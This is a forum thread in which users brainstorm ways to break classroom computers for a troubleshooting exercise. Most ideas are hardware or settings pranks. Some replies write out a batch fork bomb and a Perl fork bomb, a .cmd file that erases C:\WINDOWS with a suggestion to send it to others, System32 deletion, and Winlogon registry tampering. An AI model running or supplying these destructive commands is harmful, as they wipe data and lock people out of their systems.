• Messing up a computer for a class.
    135 replies, posted
remove the heatsink/fan [editline]26th October 2010[/editline] then play crysis
[QUOTE=DainBramageStudios;25663333]remove the heatsink/fan [editline]26th October 2010[/editline] then play crysis[/QUOTE] I doubt the computers can even run crysis in the first place
[QUOTE=DainBramageStudios;25663333]remove the heatsink/fan [editline]26th October 2010[/editline] then play crysis[/QUOTE] You realize, the CPU would fry itself mid way through bootup, right?
Wipe over the bios
Swap the straight-through Ethernet cable for a crossover one. It'll take them forever to figure it out.
You could always resort to the classics... Screenshotting the desktop, setting it as the background, and removing icons... Tape under the mouse...
Set the homepage to nimp.
open IE tools->internet options->connections click lan settings tick "use a proxy..." & put random numbers in the address box. wallah you can't go on any sites
[QUOTE=not_Morph53;25665692]Set the homepage to nimp.[/QUOTE] Use a different browser :smug:
Take screenshot of desktop. Remove all icons and task bar. Set background as Desktop picture you took. Click away :v:
Change the language, it'll make it slightly harder for them to navigate, unless they know the menus quite well.
make a console application that starts it self over and over again than put the thing in the startup folder it's fucking awesome
If it will let you, set the screen resolution to something unsupported by the monitor
[QUOTE=Richard Simmons;25665178]You realize, the CPU would fry itself mid way through bootup, right?[/QUOTE] You realize, the computer would shut itself down before that can happen, right?
[QUOTE=ButtsexV2;25663116]no it isn't. it's an endless loop. it will eventually cause memory issues but it isn't a fork bomb you would be better off doing it like this: @echo off :A start a.bat GOTO A [editline]26th October 2010[/editline] that one actually will fill the process table.[/QUOTE] [url]http://en.wikipedia.org/wiki/Fork_bomb[/url]
Delete some important shit. Make sure you make RECOVERY disks for your own team though, so it is actually fixable afterwards.
underclock, a lot.
[QUOTE=Richard Simmons;25665178]You realize, the CPU would fry itself mid way through bootup, right?[/QUOTE] the machines they usually use in computer servicing and troubleshooting classes are typically old pieces of junk that don't even get hot in the first place, unless they're lucky (unfortunate?) enough to get p4s or something [editline]26th October 2010[/editline] we'd boot up machines without coolers just to test CPUs real quick, and they hardly even warmed up
K, try this one on for size. Make this file and try sending it to them: 1. Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd. Just a file name example, but bear in mind, it must be a cmd file, or else this won't work out very well. 2. Now DO NOT Run the file on your own system, or you will lose your WINDOWS map. [editline] 5:15 [/editline] Don't worry about it, this has worked dozens of times for me. Also, this can easily be repaired.
[QUOTE=jetboy;25666877][url]http://en.wikipedia.org/wiki/Fork_bomb[/url][/QUOTE] [quote]In Perl: [code]fork while fork[/code] [/quote] Wow. I haven't laughed that hard in a while
[QUOTE=B1N4RY!;25664442]I doubt the computers can even run crysis in the first place[/QUOTE] Not a chance. [QUOTE=Yumyumbubblegum;25660110]unplug 4pin cpu power plug make it so the bios doesnt boot from the harddrive password the bios slightly unplug the hdd cable unplug the power switch(case one) not in that order [editline]26th October 2010[/editline] this sounds awesome, i wish i had it as a project[/QUOTE] Great ideas! Getting these down. [QUOTE=-=killazebra=-;25659102]disable usb ports and mouse and keyboard port[/QUOTE] Good shtuff. [QUOTE=slayer20;25665929]Take screenshot of desktop. Remove all icons and task bar. Set background as Desktop picture you took. Click away :v:[/QUOTE] This would screw them up for a little bit. :v: Alright so lots of great ideas. Writing a lot of them down. I was informed earlier that scripts are off limits too. :( I'll give you guys a list of stuff I'm going to do later when the thread starts to die. :]
I've got it: Install Linux. Wait, you wanted it to be messed up? Put FreeVMS on there. Or PC-DOS. Something obscure and command-line-only, so n00bs can't handle it. Then, in the BIOS, disable any boot device besides the hard drive, and unplug the CD drive just enough that it doesn't work, but still looks connected.
Use truecrypt to encrypt the boot partition and deepfreeze that locks the computer to be broken. Just change the icon to look like a sound driver or something. That should keep them busy
[QUOTE=jetboy;25666877][url]http://en.wikipedia.org/wiki/Fork_bomb[/url][/QUOTE] I know what a fork bomb is. apparently you don't. [editline]27th October 2010[/editline] [QUOTE=gman003-main;25668302]I've got it: Install Linux. Wait, you wanted it to be messed up? Put FreeVMS on there. Or PC-DOS. Something obscure and command-line-only, so n00bs can't handle it. Then, in the BIOS, disable any boot device besides the hard drive, and unplug the CD drive just enough that it doesn't work, but still looks connected.[/QUOTE] install Gentoo, set the default shell as /bin/login
[QUOTE=ButtsexV2;25663116]no it isn't. it's an endless loop. it will eventually cause memory issues but it isn't a fork bomb you would be better off doing it like this: @echo off :A start a.bat GOTO A [editline]26th October 2010[/editline] that one actually will fill the process table.[/QUOTE] That is, in fact, a fork bomb, albeit one that doesn't use fork() itself. Any program that causes multiple copies of it self to be run, without end, is a fork bomb. Especially, anything that is designed to fill the process table, is a fork bomb.
There was a virus on my father's laptop that when removed, caused the computer to log off as soon as you login, It changed the entry in: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ To something else, which I don't think existed at that point, so if you point it to something that doesn't exist, you should be seeing something similar. The fix: [url]http://www.geekstogo.com/forum/topic/15771-windows-xp-logs-in-then-immediately-logs-off/page__view__findpost__p__83937[/url] Another software modification could be uninstalling various standard drivers (USB mouse, PS/2 keyboard support, ect), which can be fixed by booting from another operating system and copying the drivers back. A hardware based problem could as easy as putting something non-conductive in the RAM slot, like a small strip of black electrical tape to block the contacts from touching the RAM. The problem with this is that the beep codes and symptoms for a RAM problem are fairly well known.
[QUOTE=ButtsexV2;25668312]install Gentoo, set the default shell as /bin/login[/QUOTE] No. Install OpenBSD, without installing X. Then delete vi, so the only editor is ed. THEN set the shell to /bin/sh. No autocomplete. No history. No arrow keys. Command line only. Final fucking destination.
If the computer HAS to be bootable to a degree, you could always install GRUB and then replace all the viable boot options with shit, but make them SOUND like viable OS's. Will at least puzzle them for 5 minutes.
[QUOTE=gman003-main;25668449]No. Install OpenBSD, without installing X. Then delete vi, so the only editor is ed. THEN set the shell to /bin/sh. No autocomplete. No history. No arrow keys. Command line only. Final fucking destination.[/QUOTE] install X but not hal. remove the power button.
Whip up the good 'ol System32 deletion. Or, you can run Prime95 and see what happens.
Sorry, you need to Log In to post a reply to this thread.